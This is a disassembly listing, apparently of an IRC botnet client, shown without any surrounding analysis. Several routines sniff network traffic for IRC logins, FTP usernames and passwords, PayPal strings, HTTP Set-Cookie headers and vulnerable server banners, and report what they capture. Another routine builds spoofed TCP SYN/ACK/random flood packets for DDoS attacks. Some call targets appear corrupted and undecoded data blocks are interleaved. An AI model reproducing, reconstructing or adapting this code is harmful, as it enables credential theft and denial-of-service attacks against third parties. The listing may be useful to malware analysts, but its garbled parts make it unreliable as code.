		dd 6468FFFEh, 5000435Eh, 96D3E8h, 0C0855900h, 8B867559h
		dd 85FF33C3h, 7A840FC0h, 89FFFFFFh, 8D50085Dh, 0FEFD7485h
		dd 0B1E850FFh, 59000096h, 7559C085h, 4583470Fh,	458B1808h
		dd 0E9E37508h, 0FFFFFF55h, 0FD74858Dh, 0FF50FFFEh, 0FEFD60B5h
		dd 7415FFFFh, 0F004CB5h, 0FF50C0B7h, 15FFF475h,	4CB6D0h
		dd 7F048D50h, 0ACC5048Bh, 0FF004355h, 55888534h, 858D0043h
		dd 0FFFFFD4Ch, 435E3068h, 2006800h, 0E8500000h,	96D4h
		dd 391CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh,	8D50D475h
		dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF77A2E8h, 14C483FFh
		dd 0FD4C858Dh, 0E850FFFFh, 2ECDh, 0FED3E959h, 15FFFFFFh
		dd 4CB5D8h, 5E046850h, 858D0043h, 0FFFFFD4Ch, 20068h, 7DE85000h
		dd 83000096h, 753910C4h, 20755BD8h, 4C858D56h, 0FFFFFFFDh
		dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF774AE8h
		dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 2E75h, 0FC75FF59h
		dd 0B6DC15FFh, 75FF004Ch, 90C9E8D0h, 5659FFFFh,	2EE7D8E8h
		db 2, 90h

; =============== S U B	R O U T	I N E =======================================



sub_412352	proc near		; CODE XREF: sub_412661+213p
					; sub_412661+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE3B0, eax
		mov	eax, offset dword_4CE3B0
		retn
sub_412352	endp


; =============== S U B	R O U T	I N E =======================================



sub_412361	proc near		; CODE XREF: sub_412661+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237B


loc_412377:				; CODE XREF: sub_412361+29j
					; sub_412361+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237B:				; CODE XREF: sub_412361+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C3


loc_4123BF:				; CODE XREF: sub_412361+71j
					; sub_412361+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C3:				; CODE XREF: sub_412361+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412361	endp


; =============== S U B	R O U T	I N E =======================================



sub_412478	proc near		; CODE XREF: sub_412661+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412492


loc_41248E:				; CODE XREF: sub_412478+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412492:				; CODE XREF: sub_412478+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248E
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B8


loc_4124B4:				; CODE XREF: sub_412478+4Fj
					; sub_412478+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B8:				; CODE XREF: sub_412478+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412478	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124EE	proc near		; CODE XREF: sub_412661+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412508


loc_412504:				; CODE XREF: sub_4124EE+29j
					; sub_4124EE+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412508:				; CODE XREF: sub_4124EE+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253F


loc_41253B:				; CODE XREF: sub_4124EE+60j
					; sub_4124EE+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253F:				; CODE XREF: sub_4124EE+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_412575	proc near		; CODE XREF: sub_412661+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258F


loc_41258B:				; CODE XREF: sub_412575+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258F:				; CODE XREF: sub_412575+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258B
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B5


loc_4125B1:				; CODE XREF: sub_412575+4Fj
					; sub_412575+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B5:				; CODE XREF: sub_412575+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412575	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FC	proc near		; CODE XREF: sub_412661:loc_412A26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412616


loc_412612:				; CODE XREF: sub_4125FC+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412616:				; CODE XREF: sub_4125FC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412612
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263C


loc_412638:				; CODE XREF: sub_4125FC+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263C:				; CODE XREF: sub_4125FC+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412638
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412661	proc near		; DATA XREF: sub_401ACD+427Do

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB658
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB6C8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB6C4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412707
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412707:				; CODE XREF: sub_412661+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CB670
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277D
		call	dword_4CB5D8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_4361B0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412759
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h


loc_412759:				; CODE XREF: sub_412661+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6DC
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 2700B29h
		nop


loc_41277D:				; CODE XREF: sub_412661+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB5F0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412803
		call	dword_4CB5D8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436180
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DF
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h


loc_4127DF:				; CODE XREF: sub_412661+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6DC
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700B29h


loc_412803:				; CODE XREF: sub_412661+13Cj
		mov	esi, 200h


loc_412808:				; CODE XREF: sub_412661+1D6j
					; sub_412661+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB65C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412808
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412808
		cmp	[ebp+arg_0], 19h
		jz	short loc_412808
		cmp	edi, 6Eh
		jz	short loc_412808
		cmp	edi, 19h
		jz	short loc_412808
		push	[ebp+var_113AC]
		call	sub_412352
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412352
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412906


loc_4128D2:				; CODE XREF: sub_412661+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E9
		mov	byte ptr [eax],	20h


loc_4128E9:				; CODE XREF: sub_412661+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F1
		mov	byte ptr [eax],	20h


loc_4128F1:				; CODE XREF: sub_412661+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D2


loc_412906:				; CODE XREF: sub_412661+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B9
		cmp	edi, 50h
		jz	loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412361
		test	al, al
		pop	ecx
		jz	short loc_41294D
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43614C
		jmp	loc_4129E8
; ---------------------------------------------------------------------------


loc_41294D:				; CODE XREF: sub_412661+2C7j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412478
		test	al, al
		pop	ecx
		jz	short loc_412983
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436118
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_412983:				; CODE XREF: sub_412661+300j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124EE
		test	al, al
		pop	ecx
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4360E4
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_4129B9:				; CODE XREF: sub_412661+2A9j
					; sub_412661+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412575
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A26
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4360AC


loc_4129E8:				; CODE XREF: sub_412661+2E7j
					; sub_412661+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412808
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_412808
; ---------------------------------------------------------------------------


loc_412A26:				; CODE XREF: sub_412661+36Ej
		call	sub_4125FC
		test	al, al
		pop	ecx
		jz	loc_412808
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436074
		jmp	short loc_4129E8
sub_412661	endp

; ---------------------------------------------------------------------------
dword_412A54	dd 81EC8B55h, 494ECh, 8458B00h,	0A5B95756h, 8B000000h
					; DATA XREF: sub_401ACD+6543o
		dd 6CBD8DF0h, 0F3FFFFFDh, 9080C7A5h, 1000002h, 90000000h
		dd 29DD42E8h, 51E85002h, 8D00008Eh, 0FFFE7485h,	858D50FFh
		dd 0FFFFFF74h, 0F4858D50h, 50FFFFFDh, 0FD74858Dh, 0E850FFFFh
		dd 398h, 5014C483h, 0FB6C858Dh,	0DC68FFFFh, 50004361h
		dd 8DC9E8h, 83F63300h, 75390CC4h, 562075F8h, 0FB6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFEF4h, 6CB5FF50h,	0E8FFFFFDh
		dd 0FFFF6F8Fh, 8D14C483h, 0FFFB6C85h, 0BAE850FFh, 0FF000026h
		dd 0FFFD70B5h, 8915E8FFh, 5959FFFFh, 22E89056h,	5F022EE0h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B09	proc near		; CODE XREF: ___:00412E80p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5B4
		test	eax, eax
		jz	short loc_412B49
		xor	eax, eax
		jmp	loc_412E3C
; ---------------------------------------------------------------------------


loc_412B49:				; CODE XREF: sub_412B09+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E34
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB624
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E2A
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB644
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB644
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB644
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB644
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB640
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C19
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C19:				; CODE XREF: sub_412B09+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C35
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412B09+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6D
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6D:				; CODE XREF: sub_412B09+10Ej
					; sub_412B09+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB644
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27D0000h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27C0AA6h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBB:				; CODE XREF: sub_412B09+2E2j
					; sub_412B09+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB644
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB644
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB640
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB644
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB6A8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFE
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27C0AA6h
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E27
		jl	loc_412CBB
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E27
		jmp	loc_412CBB
; ---------------------------------------------------------------------------


loc_412DFE:				; CODE XREF: sub_412B09+2CBj
		call	dword_4CB5D8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_436204
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_412E2A
; ---------------------------------------------------------------------------


loc_412E27:				; CODE XREF: sub_412B09+2E0j
					; sub_412B09+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E2A:				; CODE XREF: sub_412B09+78j
					; sub_412B09+31Cj
		push	[ebp+var_20]
		call	dword_4CB6DC
		pop	esi


loc_412E34:				; CODE XREF: sub_412B09+5Bj
		call	dword_4CB59C
		mov	eax, ebx


loc_412E3C:				; CODE XREF: sub_412B09+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B09	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
